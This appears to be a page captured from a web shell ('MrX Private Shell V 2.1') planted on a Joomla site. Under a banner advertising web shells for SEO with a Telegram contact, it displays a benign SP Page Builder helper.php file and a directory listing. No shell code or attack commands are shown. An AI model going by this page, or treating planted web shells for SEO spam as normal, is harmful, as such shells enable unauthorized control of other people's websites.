__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2024 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use JoomShaper\SPPageBuilder\DynamicContent\Exceptions\ValidatorException;
use JoomShaper\SPPageBuilder\DynamicContent\Http\Response;
/**
* Create a new response instance
*
* @return Response
* @since 5.5.0
*/
if (!function_exists('response')) {
function response()
{
return Response::create()->withHeaders([
'Accept' => 'text/html, application/json, */*',
'Connection' => 'keep-alive'
]);
}
}
/**
* Execute a callback with an exception handler
*
* @param mixed $value
* @param Closure $callback
*
* @return mixed
* @since 5.5.0
*/
if (!function_exists('withException')) {
function withException($value, Closure $callback)
{
try {
$callback($value);
} catch (Exception $error) {
if ($error instanceof ValidatorException) {
return response()->json($error->getData(), $error->getCode());
}
return response()->json(['message' => $error->getMessage()], $error->getCode());
}
return $value;
}
}
/**
* Execute a callback and return the value
*
* @param mixed $value
* @param Closure $callback
*
* @return mixed
* @since 5.5.0
*/
if (!function_exists('tap')) {
function tap($value, Closure $callback) {
$callback($value);
return $value;
}
}
/**
* Get the current logged in user
*
* @return User
* @since 5.5.0
*/
if (!function_exists('getCurrentLoggedInUser')) {
function getCurrentLoggedInUser() {
if (JVERSION >= 4) {
return Factory::getApplication()->getIdentity();
}
return Factory::getUser();
}
}
/**
* Execute a callback and return the data and error
*
* @param Closure $callback
*
* @return array
* @since 5.5.0
*/
if (!function_exists('wrapErrorSafe')) {
function wrapErrorSafe(Closure $callback) {
$data = null;
$error = null;
try {
$data = $callback();
} catch (Throwable $error) {
$error = $error;
}
return [$data, $error];
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Concerns | Folder | 0775 |
|
|
| Constants | Folder | 0775 |
|
|
| Contracts | Folder | 0775 |
|
|
| Controllers | Folder | 0775 |
|
|
| Exceptions | Folder | 0775 |
|
|
| Http | Folder | 0775 |
|
|
| Models | Folder | 0775 |
|
|
| Relations | Folder | 0775 |
|
|
| Services | Folder | 0775 |
|
|
| Site | Folder | 0775 |
|
|
| Supports | Folder | 0775 |
|
|
| Controller.php | File | 2.8 KB | 0664 |
|
| DynamicContent.php | File | 5.15 KB | 0664 |
|
| Model.php | File | 10.96 KB | 0664 |
|
| QueryBuilder.php | File | 31.24 KB | 0664 |
|
| helper.php | File | 2.3 KB | 0664 |
|